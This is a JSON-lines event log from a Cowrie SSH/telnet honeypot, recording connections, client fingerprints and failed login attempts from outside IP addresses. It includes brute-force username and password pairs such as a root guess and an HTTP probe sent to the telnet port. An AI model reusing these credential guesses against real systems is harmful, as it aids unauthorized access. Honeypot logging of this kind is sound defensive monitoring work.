{"eventid":"cowrie.session.closed","duration":38.924559116363525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:14.460858Z","src_ip":"192.211.53.160","session":"a31a248c15de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59250,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2ec53a2327c","protocol":"telnet","message":"New connection: 38.54.119.93:59250 (10.17.0.5:23) [session: d2ec53a2327c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:16.141515Z"}
{"eventid":"cowrie.session.closed","duration":36.19098258018494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:18.485925Z","src_ip":"38.60.198.128","session":"aa769e4ac4f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.03148674964905,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:19.318823Z","src_ip":"45.81.23.16","session":"d2b83c160386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52006,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da2bac62a46","protocol":"telnet","message":"New connection: 38.60.198.128:52006 (159.203.135.109:23) [session: 6da2bac62a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:19.771845Z"}
{"eventid":"cowrie.session.closed","duration":36.52293133735657,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:21.246984Z","src_ip":"38.60.198.128","session":"17cf98afb9d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.67138433456421,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:25.991116Z","src_ip":"38.60.198.128","session":"eca85a4768c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.85849571228027,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:27.947648Z","src_ip":"192.211.53.160","session":"21d083640551","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39900,"dst_ip":"159.203.135.109","dst_port":23,"session":"edee266bccfd","protocol":"telnet","message":"New connection: 38.60.198.128:39900 (159.203.135.109:23) [session: edee266bccfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:31.901379Z"}
{"eventid":"cowrie.session.closed","duration":35.870808124542236,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:33.581779Z","src_ip":"38.60.198.128","session":"cff02d7df6cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46642,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8713cb85553","protocol":"telnet","message":"New connection: 38.60.198.128:46642 (159.203.135.109:23) [session: a8713cb85553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:36.935145Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44874,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b7594efc087","protocol":"telnet","message":"New connection: 38.54.119.93:44874 (10.17.0.5:23) [session: 0b7594efc087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:37.074422Z"}
{"eventid":"cowrie.session.closed","duration":37.63697171211243,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:39.093532Z","src_ip":"38.60.198.128","session":"7eb26f08138f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.03895449638367,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:40.980186Z","src_ip":"38.60.198.128","session":"79187744c6a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45636,"dst_ip":"159.203.135.109","dst_port":23,"session":"20b335142289","protocol":"telnet","message":"New connection: 38.60.198.128:45636 (159.203.135.109:23) [session: 20b335142289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:42.442237Z"}
{"eventid":"cowrie.session.closed","duration":7.07550573348999,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:44.149839Z","src_ip":"38.54.119.93","session":"0b7594efc087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.24117279052734,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:48.768514Z","src_ip":"38.60.198.128","session":"d93dffbdc44f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.06968355178833,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:48.954987Z","src_ip":"38.60.198.128","session":"ae4bb36f450b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34876,"dst_ip":"159.203.135.109","dst_port":23,"session":"8998980ad005","protocol":"telnet","message":"New connection: 38.60.198.128:34876 (159.203.135.109:23) [session: 8998980ad005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:49.558193Z"}
{"eventid":"cowrie.session.closed","duration":46.09857201576233,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:57.435111Z","src_ip":"38.60.198.128","session":"d697c2ff42c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45588,"dst_ip":"159.203.135.109","dst_port":23,"session":"d79f9be1bc04","protocol":"telnet","message":"New connection: 38.60.198.128:45588 (159.203.135.109:23) [session: d79f9be1bc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:58.015423Z"}
{"eventid":"cowrie.session.closed","duration":120.00228428840637,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:59.579169Z","src_ip":"38.60.198.128","session":"0959cff71d85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.257577419281006,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:00.399016Z","src_ip":"38.54.119.93","session":"d2ec53a2327c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60288,"dst_ip":"10.17.0.5","dst_port":23,"session":"2feb59598c59","protocol":"telnet","message":"New connection: 38.54.119.93:60288 (10.17.0.5:23) [session: 2feb59598c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:01.224599Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":40688,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f1ebb48604","protocol":"ssh","message":"New connection: 198.98.56.205:40688 (159.203.135.109:22) [session: 24f1ebb48604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:01.250430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:01.259563Z","src_ip":"198.98.56.205","session":"24f1ebb48604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:01.266992Z","src_ip":"198.98.56.205","session":"24f1ebb48604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1q2w3e4r","message":"login attempt [testuser/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:01.324420Z","src_ip":"198.98.56.205","session":"24f1ebb48604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.80396246910095,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:01.575719Z","src_ip":"38.60.198.128","session":"6da2bac62a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:02.351972Z","src_ip":"198.98.56.205","session":"24f1ebb48604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51338,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0bf90d7cb6b","protocol":"telnet","message":"New connection: 38.60.198.128:51338 (159.203.135.109:23) [session: e0bf90d7cb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:02.593147Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52564,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca58bf0f5434","protocol":"telnet","message":"New connection: 38.60.198.128:52564 (159.203.135.109:23) [session: ca58bf0f5434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:03.394595Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":34348,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71d2dcb1f12","protocol":"ssh","message":"New connection: 94.156.152.18:34348 (10.17.0.5:22) [session: a71d2dcb1f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:05.373444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:05.378850Z","src_ip":"94.156.152.18","session":"a71d2dcb1f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:05.521309Z","src_ip":"94.156.152.18","session":"a71d2dcb1f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ8VCPU32GBAMD","message":"login attempt [root/XYZZ8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:05.933716Z","src_ip":"94.156.152.18","session":"a71d2dcb1f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.130293846130371,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:06.354744Z","src_ip":"38.54.119.93","session":"2feb59598c59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:07.071167Z","src_ip":"94.156.152.18","session":"a71d2dcb1f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.89035248756409,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:08.791585Z","src_ip":"38.60.198.128","session":"edee266bccfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35118,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced9c184e8ca","protocol":"telnet","message":"New connection: 38.60.198.128:35118 (159.203.135.109:23) [session: ced9c184e8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:12.419113Z"}
{"eventid":"cowrie.session.closed","duration":36.50481152534485,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:13.439863Z","src_ip":"38.60.198.128","session":"a8713cb85553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40380,"dst_ip":"159.203.135.109","dst_port":23,"session":"617eb398bad5","protocol":"telnet","message":"New connection: 38.60.198.128:40380 (159.203.135.109:23) [session: 617eb398bad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:17.620859Z"}
{"eventid":"cowrie.session.closed","duration":36.54733943939209,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:18.989474Z","src_ip":"38.60.198.128","session":"20b335142289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40304,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a40ef199bda","protocol":"telnet","message":"New connection: 38.60.198.128:40304 (159.203.135.109:23) [session: 3a40ef199bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:19.479034Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35218,"dst_ip":"159.203.135.109","dst_port":23,"session":"efbc78361429","protocol":"telnet","message":"New connection: 38.60.198.128:35218 (159.203.135.109:23) [session: efbc78361429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:19.754245Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48184,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c5f9f7fbae7","protocol":"telnet","message":"New connection: 38.60.198.128:48184 (159.203.135.109:23) [session: 8c5f9f7fbae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:23.253331Z"}
{"eventid":"cowrie.session.closed","duration":37.84477424621582,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:27.402888Z","src_ip":"38.60.198.128","session":"8998980ad005","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55538,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e10b8ac7052","protocol":"telnet","message":"New connection: 38.60.198.128:55538 (159.203.135.109:23) [session: 5e10b8ac7052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:29.185752Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.164.107.4","src_port":54170,"dst_ip":"159.203.135.109","dst_port":23,"session":"796a027a987d","protocol":"telnet","message":"New connection: 194.164.107.4:54170 (159.203.135.109:23) [session: 796a027a987d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:33.723818Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:33.727835Z","src_ip":"194.164.107.4","session":"796a027a987d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:33.730581Z","src_ip":"194.164.107.4","session":"796a027a987d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:33.733312Z","src_ip":"194.164.107.4","session":"796a027a987d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.2501096725463867,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:33.973839Z","src_ip":"194.164.107.4","session":"796a027a987d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50872,"dst_ip":"10.17.0.5","dst_port":23,"session":"77a45a503441","protocol":"telnet","message":"New connection: 45.81.23.16:50872 (10.17.0.5:23) [session: 77a45a503441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:35.242242Z"}
{"eventid":"cowrie.session.closed","duration":37.87485194206238,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:35.890165Z","src_ip":"38.60.198.128","session":"d79f9be1bc04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50886,"dst_ip":"10.17.0.5","dst_port":23,"session":"46365cd78bbd","protocol":"telnet","message":"New connection: 45.81.23.16:50886 (10.17.0.5:23) [session: 46365cd78bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:35.895526Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52714,"dst_ip":"159.203.135.109","dst_port":23,"session":"c31adb9637d5","protocol":"telnet","message":"New connection: 192.211.53.160:52714 (159.203.135.109:23) [session: c31adb9637d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:36.674466Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52716,"dst_ip":"159.203.135.109","dst_port":23,"session":"983be931f00a","protocol":"telnet","message":"New connection: 192.211.53.160:52716 (159.203.135.109:23) [session: 983be931f00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:37.648116Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57458,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d2b1564ee8","protocol":"telnet","message":"New connection: 38.54.119.93:57458 (10.17.0.5:23) [session: 17d2b1564ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:38.479403Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37896,"dst_ip":"159.203.135.109","dst_port":23,"session":"84a0226fbe0d","protocol":"telnet","message":"New connection: 38.60.198.128:37896 (159.203.135.109:23) [session: 84a0226fbe0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:39.191667Z"}
{"eventid":"cowrie.session.closed","duration":38.03039598464966,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:40.623220Z","src_ip":"38.60.198.128","session":"e0bf90d7cb6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33480,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b43aa7f9ecb","protocol":"telnet","message":"New connection: 38.54.119.93:33480 (10.17.0.5:23) [session: 7b43aa7f9ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:45.191792Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44514,"dst_ip":"159.203.135.109","dst_port":23,"session":"105711b2901d","protocol":"telnet","message":"New connection: 38.60.198.128:44514 (159.203.135.109:23) [session: 105711b2901d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:46.387540Z"}
{"eventid":"cowrie.session.closed","duration":45.54765725135803,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:48.942131Z","src_ip":"38.60.198.128","session":"ca58bf0f5434","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.369300365447998,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:49.611419Z","src_ip":"45.81.23.16","session":"77a45a503441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":40954,"dst_ip":"159.203.135.109","dst_port":22,"session":"522458660db1","protocol":"ssh","message":"New connection: 191.101.59.69:40954 (159.203.135.109:22) [session: 522458660db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:50.993073Z"}
{"eventid":"cowrie.session.closed","duration":38.81656074523926,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:51.235538Z","src_ip":"38.60.198.128","session":"ced9c184e8ca","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:55:51.696227Z","src_ip":"191.101.59.69","session":"522458660db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com",